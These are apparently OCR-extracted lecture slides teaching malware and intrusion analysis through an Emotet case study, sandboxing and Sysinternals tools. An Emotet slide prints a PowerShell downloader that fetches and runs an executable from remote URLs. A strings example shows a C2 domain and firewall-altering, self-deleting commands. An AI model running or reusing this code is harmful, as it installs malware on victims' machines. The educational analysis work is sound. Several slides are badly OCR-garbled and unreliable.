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Analyzing intrusions



Cyber Incident Response

* Cyber Incident Response

* “A well-organized effort by which an organization handles a cyberattack,
including analysis, containment, remediation and reduction of future risks.”

* Good incident response results in:
* Lower costs of ongoing cyber incidents
* Fewer future incidents

e Cyber Attack Incident
* Each incident goes through certain phases

e Collecting information about each phase and modifying defenses accordingly
helps detect/prevent future incidents



Malware definition

“Malware is short for malicious software and is typically used as a
catch-all term to refer to any software designed to cause damage to a
single computer, server, or computer network, whether it's a virus,

spyware, et al.”

Robert Moir, Defining Malware: FAQ, 2009. URL: https://technet.microsoft.com/en-us/library/dd632948.aspx



https://technet.microsoft.com/en-us/library/dd632948.aspx

Malware types

* Trojan * Ransomware

* Fake AV e Coinminer

e Backdoor * Sniffer

 Remote Access Tool (RAT)  \/irus

* Dropper * Worm/Self-spreading malware
 Downloader * Spyware

* Information stealer * Adware

* Keylogger * Botnet



Malware infection vectors

* Email
* Link
e Attachment
e Link + document download

* Worms
e Lateral movement with legitimate credentials
* Lateral movement via vulnerabilities (Petya, Not Petya, WannaCry,...)

 Malicious website
* Drive-by download

 USB
e Cracked software



Case Study: Emotet
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Clicking the malicious
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EMOTET gathers
system and OS info

as well as list
running processes

©

It contacts its
C&C server to
determine possible
payloads

Don Ovid Ladores, EMOTET Returns, Starts Spreading via Spam Botnet, 2017. URL:
https://www.trendmicro.com/en us/research/17/i/emotet-returns-starts-spreading-via-spam-botnet.html



https://www.trendmicro.com/en_us/research/17/i/emotet-returns-starts-spreading-via-spam-botnet.html

Emotet: Infection vector — Phishing

° . Wed 2/20/2013 &:08 PM
Su bIJIeCt ) Manager Liam -:3-|'te-;,@:5e|"-.-'i ce@lexington.us>
¢ ACCOU nt b|0Ck€d Tracking Service

* “Package to be delivered” o Mol
* “Expiring subscription”
* “Invoice” / “Receipt” / “Parchment Fed 2) [Fed o*J

* Signs N O ———
Tracking ID: 3483-66187692
(]

UnexpECtEd Sender address (1) Date: Monday, 11 February 2013, 10:22 AM
e Graphic errors (2)
* Erroneous info (3)

Dear Client,

Your parcel has arrived at February 18.Courier was unable to deliver

¢ Li n kS tO U nexpeCtEd U RL (4) the parcel to you at 18 February 06:33 rh-t;:p::-'_-'pEEIEhtmlncw.ccm_—-’wp-ccnt-’:nt-"
® I_i n kS to Sa me U RL To receive your parcel, please, print tkis rr.-:lsg.:t:

) i office. Click to follow link
* Generic salutation

e Use of threats, sense of urgency

Best Regards, The FedEx Team.




Emotet: Macros and Powershell

powershell ([ nEW-obJeCt SYSTEM.IO.COMpreSsION.dEFlateStreaM({[SYSCEm. Io.mEmORYyStREam]
[SY¥Ys3tEm.coNverT] : : frOMhiAse64stRIng (
'[R]VDbagIxEP2VIOhEsZv0oVAWLAI IF&0thUXE0pdddupGsinMimsF/ PeulizM0zl zL PMEj4XHrs8 6DUayt6RxAL1 g

@ H ;
HOME INSERT DESIGM PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW

il'l1!5 ew - - . Y IF\ - A — " ;_ - l‘-_ - ‘:‘E '!E ’.".- -_ B - . - ; . - -
[) gy |([mecNewRo 12 [A A [A2= @ = "5=r " el | 4aBbCcl Aa PoSbHEGRWE Jopj KWOyDabowkeR0kout Zz8 T DHHDWIExqS5u6LNDL ZVYEVOU1ddC/ +CA0PNr rUGnFhH2 YVUxYREETuYm4C
Paste ¢ B T U -amx, X ¥-A-E=== 5 Q- - || Emphasic  Heag pPz5aP5rY¥srwlIPQ3CAXprH4ZJiwlNE41563pT4uim/ zgeSijM7S5gE,/4UDHTzrMi4/d3XDGatgVDvKETNnHEY, joTI+4wB/ k
Cilpboard 1 Font 5 paragraph 5 sty 633k TNOGTMN6r T/ 20cMIipcORSCAR0YB5F6R6304v0zEZ2XCo50lE+UCKpmI+wZTunThgZ IBMETydEgE[=]1" ),

1 SECURITY WARNING Macros have been disabled. Enable Content

[I0.comprEsSION . CompREs3ICNmoDE] @ :dECoMprEsS ) TOREACH-OBject{ nEW-cbJeCt
SyEteH.ia.StREam:eﬁde:[$_, [SyStem.CEXC.EncodilNg] : tASCTi ) } FOReaCH-ChjEcT{ $_.:EALTDENdi
! SOMETHING WENT WRONG Enable Content to load the document. 1 1) 1. { Selw:CoMspeC[4,24,25]-join"")

Enable content to adjust this document
to your version of Microsoft Word ™

python powershelldeflateZ.py -1 evilbéd 51iZC—ulgreuslsgltein

Het .WebClient; $Ldt="http://primerplanc([.]org/Yh/Ehttp:// ave—

ant [ . ]com/u/Ehttp: / /muaithai[.]pl/bdwsab/B@http:,//jmamusical [.] jp/wordpress,/wp-
content/Ec0S55/Ehttp://nagoyamicky[.] com/cachegblog/bDWJIMUD/ * . Split ("A") ; $csl0 =

"747 ;Stdg=Senv:temp+"\ '+5ceU+" .exe" ; foreach ($Hin in $LJt) {tryv{$iZG.DownloadFile ($Hin,
%tdg) ;Start-Process $tdag;break; }catchi{l}

Security Magic Blog, July 2018, Emotet Encoded Powershell Observed. URL: https://security5magics.blogspot.com/2018/07/july-
emotet-encoded-powershell-observed.html



https://security5magics.blogspot.com/2018/07/july-emotet-encoded-powershell-observed.html

Emotet: 29 stage example

@ JDKUGODVFTEXE @ NETEXE ‘ - C:\Users) visen\Downloads\Preview.exe
~ N T .

- e - - ? TEXI : ¢ \Device\HarddiskVolumesd\Users\Katie.Br

@ CONMOSTEXE £x \BLE ©390ab@8f852845FcccP7d234a96F51Fcb23a95..



Malwareless/Fileless attack

1. Has noidentifiable code or signature that allows typical antivirus tools to
detect it.

2. Lives in your computer's RAM. Thus, it is also known as memory-based
malware.

3. Uses processes that are native to the operating system you are using in order
to carry out the attack.

4. May be paired with other types of malware.

5. May be able to circumvent application whitelisting, a process that allows only
approved applications to be installed on a machine. Fileless malware takes
advantage of approved applications that are already on your system.

Ellen Zhang, What is Fileless Malware (or a Non-Malware Attack)? Definition and Best Practices for Fileless Malware Protection,
2018. URL: https://digitalquardian.com/blog/what-fileless-malware-or-non-malware-attack-definition-and-best-practices-fileless-

malware



https://digitalguardian.com/blog/what-fileless-malware-or-non-malware-attack-definition-and-best-practices-fileless-malware

MITRE ATT&CK Framework

* Globally accessible knowledge base of adversary tactics and techniques
based on real-world observations.

* Good learning point about advanced attackers
 Community-driven

* Allows mapping attack steps

* Knowing what is possible in each step facilitates incident analysis and
allows planning defenses

* Provides info about
» Attack tools
* Threat actor groups
* Protection strategies

* https://attack.mitre.org/



https://attack.mitre.org/

MITRE ATT&CK Framework
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MITRE ATT&CK example - Emotet

* Reconnaissance: Gather Victim Identity Information — Email Addresses
* Resource Development: <unknown>

* Initial Access: Phishing — Spearphishing Link

e Execution: Command and Scripting Interpreter — PowerShell

* Persistence: Boot or Logon Initialization Scripts — Registry Run Keys
* Privilege Escalation: <various>

* Defense Evasion: Obfuscated Files or Information, Software Packing
* Discovery: Process Discovery

* Command and Control: Non-standard Port

 Exfiltration: Exfiltration Over C2 channel

* Impact: Data Encrypted for Impact



Black box malware analysis



Motivation — Ask the right questions

* What is the scope of compromise? What are 2"9 stage callbacks?

e Communication between local file server and an unknown IP address
in China has been observed. What process is responsible for the
communication?

* Malware is creating temporary files. Where are these files located?

* Malware executable is created again after system reboot. How is it
possible and what is causing it?

* A new type of malware has been spreading through internal network.
How to quickly assess the malware capabilities? What is its purpose?
Is it based on any well-known tool?



Black box malware analysis

* Dynamic analysis — file is executed

e Analysis without internal knowledge
e Observable inputs
e Observable outputs

* Quick, simple

« Common monitoring tools

e Collected indicators about

* Filenames, process names, process parent/child relationships, temporal
relationships, domain names, IP addresses, registry keys, persistence methods,
cleanup operations etc.

* Can be highly automated



Black box malware analysis — Principle

Prepare analysis environment

Create snapshot

Run monitoring tools

Run malware

Collect and observe interactions between malware and VM

Restore snapshot

N o U s W NhPRE

Repeat 3-6 as needed



Analysis environment

e Virtual Machine

* Limited/no connectivity
* Virtualized services (DNS, HTTP....)
» Several VMs for various host types

* Software

* Monitoring tools

* Often exploited applications
* Snapshots(!)

e Risks
VM isolation breach
* Malware inactivity in VM

Hypervisor - (Hyper-V, Xen, ESX Server)

Hardware - (CPU, Memory, NIC, Disk)

3



Tools



Network analysis

e Capturing sent/received packets
* Protocol dissection
* Promiscuous mode

* Tools
* Tcpdump, Wireshark, NetworkMiner

* Indicators
* Domain names, IP addresses, protocols, ports, HTTP parameters

* Q&A

* Who is this program communicating with? What reputation does the partner
have? What data is exchanged? Is it encrypted or obfuscated?



Network analysis — What to look for

* New established connections — HTTP 80/8080
* Direct calls for domains without DNS lookup
« Random domain names (e.g., rpxiodffd.biz)

* Suspicious domain names (e.g., gooogle.org)

e Similarly looking domain names (e.g., osinstall.biz, swinstall.biz,
swinstall.com)

e OQutgoing portscans

* Ping/DNS request for well known services
e Connection availability test

» Be aware of background OS/processes activities!



Example —

Wireshark

ﬂtest.cap E]@
File Edit Miew Go Capture Analyze 3Statistics  Telephony  Tools  Internals  Help
B & el EAXSE Ae+aTFLIEE QAQAEAD @M% B
Filter: w | Expression...
Mo, Time S0UrCE Destination Protocol - [Length  [Info
1 0.000000 152.168.0.2 Eroadcast ARP 42 Gqratuitous ARP for 19%2.168.0.2 (F
2 0.280913% 152.168.0.1 1592.168.0.2 MEBMS 92 mMame guery NBSTAT ¥*<00:><00><00:<C
30 14 0,2 TCMP 0 Destination unreachable (Port unr
4 1.02565% 152.168.0.2 224.0.0,22 IGMP 54 w3 Membership Report / Join groug
51.044566 152.168.0.2 152.1658.0.1 DNS 110 standard guery srRY _ldap._tcp.nbc
6 1.048852 192.168.0.2 239,255, 255,250 SSDP 175 M-SEARCH % HTTR/L.1
7 1.050784 1%2.168.0. 2 192.168.0.1 DNS 86 standard query s0a nbl0061d. ww00d
8 1.055053 192.168.0.1 192.168.0.2 SSDP 337 HTTRS1.1 200 oK
O 1.082038 192.168.0.2 192.168.0.2545 MENS 110 Registration WME WELOOGLD<OO=
101.12115%45 192.168.0.2 1592.165.0.1 DNS 87 standard query A proxyconf.ww00d,
11 1.226156 192.168.0.2 192.168.0.1 TCP 62 ncu-2 = http [SYN] Seq=0 win=5424
12 1.227282 1592.168.0.1 192.168.0.2 TCP a0 http > ncu-2 [SYN, Ack] Seq=0 Ackw
»
4 Frame 11: 62 bytes on wire 496 hits), 62 bytes captured (496 bits)
% Ethernet II, Src: 192.168.0.2 (00:0b:5d:20:cd:02), Dst: MNetgear_2d:75:%a (00:08:5h:2d:75:9a)
+ Internet Protocol, src: 192.168.0.2 (192.168.0.20, Dst: 192.168.0.1 (1%2.1658.0.1)
= Transmission Comtrol Protocol, Src Port: ncu-2 (315960, Dst Port: http (803, Seq: 0, Len: O
Source port: ncu-2 (31960
pestination port: http (800
[stream dndex: 5]
Sequence number: 0 (relative seqguence number?)
Header Tength: 28 bytes
+ Flags: 0x02 (SvM)
window size wvalue: 84240 w
Qoo 00 09 5h 2d 75 9a 00 Obh 5d 20 od 02 08 00 45 00 A T .E.
Q00 00 30 18 48 40 00 B0 06 61 2c <0 af 00 02 cO0 a8 L - T
0020 00 0L 0c Fc 00 50 3< 36 95 8 00 00 Q0 00 70 02 A I = - R B.
0030 fa fo 27 e0 00 00 02 04 05 b4 01 01 04 02 e e e
@ | File: "C:ftest.cap” 14 KB 00:00:02 Packets: 120 Displayed: 120 Marked: O Load time: 0:00.000 Profile: Default




File system

* Observing file accesses and modifications
* Background file manipulation

* Tools
* Procmon, Handle

* Indicators

* File names, folder names, order of actions, compromise spread through local
system

* Q&A

* Where is malware copied after the initial infection? What filenames are used?
Where is the collected data stored?



File system — What to look for

* New file names & folders
* New created files and folders
e Batch files (.cmd, .bat, .vbs, .psl)
* Known favorite malware file names (e.g., 1.exe, test.exe, new.exe)
e Known file names in uncommon folders (e.g., C:\Temp\svchost.exe)
* Recycler

* Modifications of system files
* Temporary storage files, encrypted archives



Example — Procmon

k1

—¥ Process Monitor - Sysinternals: www.sysinternals.com E=nIRoR==
File Edit Ewvent Filter Tools Qptions Help
EE | RBE | AS | @8 | (240

Time PID Operation Path Result i
14.06:.. 2132 B8 Process Start SUCCESS
14:06:.. 2132 & Thread Create SUCCESS
14:06:.. 2132 &% Load Image D hsetup exe SUCCESS
14:06:.. 2132 &% Load Image C\Windows'\System 32 ntdll dll SUCCESS
14:06:.. 2132 BhCreateFile C:\Windows \Prefetch\SETUP.EXE-S5F1... SUCCESS
14:06:.. 2132 BhQueryStandard]... C:\Windows"\Prefetch \SETUP EXE-SF1... SUCCESS
14:06:.. 2132 BhReadFile C:\Windows \Prefetch\SETUP.EXE-5F1... SUCCESS
14:06:.. 2132 BhCloseFile C:\Windows \Prefetch\SETUP.EXE-SF1... SUCCESS
14:06:.. 2132 Bl CreateFile C: SUCCESS
14:06:.. 2132 L_:];i]uer:.rlrdnrrnaticu...c: SUCCESS
14:06:.. 2132 B FileSystemControl C: SUCCESS
14:06:.. 2132 BhCreateFile C:hlUsers SUCCESS _
4 & ; ) ; A Tl eamcr_ . o Pl B T e el

4 | I
Showing 2,011 of 99,439 events (2.0%) Backed by page file




Registry

* Regedit
* Windows built-in registry editor
* RegRipper
* Extracts relevant forensic artifacts from registry

* Autoruns
* Lists all programs set to start after system boot



Registry — What to look for

* Well-known locations %ThreatExpert
e Autorun locations

e Task scheduler

Submission Summary:

@ The newly created Registry Values are:
» [HKEY_LOCAL_ MACHIME\SOFTWARE\Microsoft\Security Center]

¢ Changes traCkIng t.. UacDisableNotify = 0x00000001
¢ [HKEY_LOCAL MACHIME\SOFTWARE\Microsoft\Security Center\Svc]
¢ d f ” h b ANtiVirusOwverride = 0x00000001
Keywor S u tEXt Searc L. AntiVirusDisableNotify = 0x00000001
L4 Filenames F?r'E-wufa.IIIIJiSahllraNc:util’ﬁj.r = Ox00000001
. FirewallOverride = 0x00000001
° Processes UpdatesDisableMotify = 0x00000001

t. UacDhisableMotify = 0x00000001
° Dom a|n names fo disable notification of firewall, antivirus and/or update status through the Windows Security Center



Registry — Regedit

-
ﬁ Registry Editor

| o] w e o o—

File Edit View Favorites Help

e e ) =)

[
[

, Personalization
. PhotoPropertyHandler
, PnPSysprep
, Policies

Media Center
MMDevices
MSSEHA

Good

, MetCache

, OEMInformation
, QOBE

, OptimalLayout

., Parental Controls

BAD!!!

, PreviewHandlers
| PropertySystemn

. Reliability

. RenameFiles

. Run

, RunOnce

| Setup

, SharedDLLs

| Shell Extensions

| ShellCompatibility
| ShellserviceObjectDelayLoad
, Sidebar

| SideBySide

, SMDEn

) SMI

) StructuredQuery
J Syncmgr

| SysPrepTapi

b P

m

-

MName
b
39] Eomcmgr-

3_'_’] boinctray

3[’] HotKeysCrds
f_ﬂlgfxTray

b | K CyneMsb3YeRFY
b| Persistence

Type

REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ

Data

(value not set)

"C\Program Files\BOINC\boincmgr.exe” fa /s

"CvProgram Files\BOINC\boinctray.exe”
ChWindows\system32\hkemd.exe
ChWindows'system324igfxtray.exe

C\Users’ ppDatah\KCyxeMsb3YeRFY. exe
ChWindows'system32\igfxpers.exe

ol

(LI k

Computer\HKEY_LOCAL_MACHIMNE\SOFTWARE\Microsoft\Windows\ CurrentVersionRun




Processes

* Observing initial system compromise
* Processes parent/child relationships

* Tools
* Process Explorer, Procmon

* Indicators
* Process names, order of execution, dropper activity

* Q&A

 What processes are run after malware binary is executed? Are batch files
involved? Are there watcher processes?



Processes — What to look for

e Order of executables
* |nitial malware
* Dropper/downloader
* Persistence executable
* Final malware

e Command line interpreters
* cmd.exe
* Powershell
* Cscript, wscript



Example — Process Explorer

Process Explorer - Sysinternals: www.sysinternals.com

Options  View Process Find Users Help

File

- IREIER=E SRS Rt

.

: 3 PR N
Process CPU _ Private Bytes  PID Description Comparny Mame
[W|System Idle Process 97.65 24 K 0K 0
= 5] System 4
8| Intermupts 0.48 0K 0K n/a Hardware Intemupts and DPCs
.| smss.exe 376 K J6K 328
. csrss.exe < 0.1 3330 K 1680K 540
| cares.exe 0.02 15620K 2248K  ol2
= B wininit exe 3672K 1172K 616
= B services exe 386K 5716K 664
=l [m7|svchost exe S443 K 3540 K 836 Host Process for Windows 5... Microsoft Corporation
.| WmiPrv5E exe 6020 K 2472K 3752
B WmiPrv5E exe 24K 2124 K 2456
=l [m7| nvvsve exe 6 M0 K 2436 K 500 MVIDIA Driver Helper Servic... NVIDIA Corporation
B NvXDSync exe 12328 K 6028K 1632
B_| nvvsve exe < 0.01 10628 K 4344 K 1660
| svchost exe TXLK 4012K 940 Host Process for Windows 5... Microsoft Corporation
=l [m"| swchost exe 21 M43 K 22828 K 1036 Host Process for Windows 5... Microsoft Corporation
.| audiodg exe 14 B36 K 15696 K 4832
=l [m"|swchost exe <001 13940 K J048 K 1072 Host Process for Windows 5... Microsoft Corporation
[m 1| dwm exe 0.8 M 232K N 748K 2352 Desktop Window Manager  Microsoft Corporation
[ svchost exe 11328 K 6320 K 1100 Host Process for Windows 5... Microsoft Corporation
| svchost exe <001 35972K 22256 K 1144 Host Process for Windows 5... Microsoft Corporation




Executable file analysis

. Input Digest
* Cryptographic hash —
. . . . Fox hash DECD 3454 BBEA T788A 75H1lA
* Hash function which is considered > hesh ™ 6ssc 24p9 7009 cass 2017
practically impossible to invert
° Unique identification of file Lh:p;eg:::{ L, Cryptﬁagsrsphic | ,,| 0086 46BB FR7D CBE2 823C
. . ACCT 6CD1 90B1 EESE 34ABC
e Counter: Polymorphism the blue dog function
* MD5, SHA1 Uz e cryptographic 8FD8 7558 7851 4F32 D1C6
JtL;ZT:SIuoeujcr: > fu:?::i:: . P 76B1 79A9 0DA4 AEFE 4819
* Fuzzy hash z
* Context triggered piecewise hash Lhnfpr:g fox cryptographic FCD3 7EDB SAF2 C6FF 915F
—— as -
° FamI|IeS Of flles the blue dog function 0401 C0A9 7D9A 46AF FB45
¢ SSdeep The red fox cryptographic
. 8ACA D682 DHEE 4C75 4BF4
o Stri JL;mpbsl 2= ' AT > 1799 7D88 BCFS 92B9 6AEC
tnngs the blue dog function




Example — Strings

server.exe
AppData
4bccedde98bcdbdd29f66c0felffe002

hackerhani.no-ip.biz | Domain hame

Software\Microsoft\Windows\CurrentVersion\Run

Software\
yy—-MM-dd
?7-27-27
Microsoft
Windows

SystemDrive

Persistence registry key

netsh firewall delete allowedprogram " Commands to be executed

Software
cmd.exe /c ping 0 -n 2 & del "
SEE_MASK_NOZONECHECKS

netsh firewall add allowedprogram "

MD5: 5d347384ea978a96bc842ad9f29e95f2



Analysis



Black box analysis — indicator interpretation

* Network analysis — domain & IP verification, processes
communicating

* Hash comparison
* Collisions, same-hash files

* Behavior analysis
e System processes, created processes, persistence

* File manipulation



Timeline

* Timeline helps understand the logic of malware sample
* Temporal order of steps
* Intentional waiting
e Beaconing intervals

e Advanced sandboxes can build timeline from multiple tools



Document analysis — Quick insight

* EXIF information

* File metadata

* Document sandboxing

 Document interpretation ambiguity

* Practical examples

* Double extensions, different content in different viewers, code block
obfuscation & hiding



Automated sandbox analysis



Automated sandboxing

* Automated
1. Execute malware in sandbox
2. Wait 1-2 minutes S
3. Receive summary report
4. Investigate report

i= Recent # Pending Q Search

e Cuckoo, Norman, Anubis etc.

System info




Cuckoo sandbox CUCKQOO

* Open source malware analysis system

e Can analyze

* Windows executables, DLLs, PDF documents, URLs, HTML files, PHP scripts,
Visual Basic scripts, ZIP archives, Python files, etc.

* Modular, scriptable

* Full memory dump (for Volatility Framework)
* Django web interface

* Mongo (NoSQL) database



Cuckoo — Architecture

Cuckoo host

Responsible for guest and
analysis management.
Start analysis, dumps traffic
and generates reports.

Analysis Guests

A clean environment when run a
sample.

The sample behavior is reported back to
the Cuckoo host.

Internet / Sinkhole

Analysis VM n.2

Virtual network ||

Virtual network
An isolated network where
run analysis virtual

machines. Analysis VM n.3




Internet sandbox services

* Public service

* OpSEC issues N
* Huge comparison database a tOtaI
e Exact match by hash % Threat Expert

* Similarity search by keywords

malwr-s

* Malwr.ee (public Cuckoo sandbox)
* Any.run

* ThreatExpert.com
* Hybrid-Analysis.com ANY RUN
* VirusTotal.com

INTERACTIVE MALWARE
HUNTING SERVICE




Operational security (OpSec)

* Advanced attackers monitor victim’s actions
* Unique indicators visible on Google?
» Attacker host monitoring for incoming traffic
» Keywords search in mails, PDFs...

* Basics of OpSec
* “Think before you act” mentality
e Limited information sharing
* Trace removal

e PassiveTotal.org

WHO
WATCHES
THE o




OpSec — Basic rules

* No ping

* No DNS lookup

* No accessing to suspicious domains

* No premature remediation steps (reboot, antivirus scan, OS reinstall)
* No upload of samples

* No indicator validation on external sources

* NOT EVEN through 3™ parties



Anti-sandbox techniques

Continuous development — sandbox vs. anti-sandbox
* Malware inactive in analysis environment
 Tools presence detection (Wireshark, etc.)

Virtualization detection
¢ RegiStry (key eXiStence’ key Value) C:\Users\Administrator>systeminfo
i File System (f”e EXiStence, driverS) 7 ne : a :Ii)cvn::oft Windows Server 2088 R2 Enterprise

S s : 2:1.769} Sgruice P§ck 1 Build 7661
* Processes (syscall response) S Conf iouracion: Frinary Domein Controller
Build Type: Multiprocessor Free
Registered Owner: Windows User

° Human presence deteCtion Rfésfi'?:t,e"Ed:O"ganizatin": 55041-507-3862504-84593

_l;/’);) 24 AL A-CH4 nn

v Administrator: Command Prompt

Syste “Time: 11/6,2013, 9:81:24 AN
* Mouse movement Syster S UHuare, Tnc.

System Model: UMware Uirtual Platform

System Type: gﬁa—based PC

* Keyboard activity Processors): e

[@11: Intel64 Family 6 Model 23 Stepping 18 Genuineln
tel 2925 Mhz

) File artefacts BIOS Uersion: Phoenix Technologies LTD 6.88, 6,/22/2012

Windows Directory: C:\Windows

System Directory: C:\Windows\system32
\Device\HarddiskUolumel
en—us;English (United States)

Boot Device:
System Locale:




Lab



Lab — Overview

* Hands-on experience of manual black-box analysis
* Guided analysis of selected malware samples

* Tools
* Wireshark — Network activity
Process Monitor — File system activity, process creation
Autoruns — Persistence
Regshot — Registry changes
Process explorer — Process map



Lab — Samples

e 2-3 samples from different malware families
« Commodity malware —Zeus, ZeroAccess, Generic Trojans,...

» Students will execute samples in virtual environment
* Provided simple analysis virtual machine (Windows)
* |Indicators collected — network, files, persistence
* Discussion about interpretation of facts

* Homework
* 2 samples for analysis independently
* Write a cohesive report and present key information to the reader



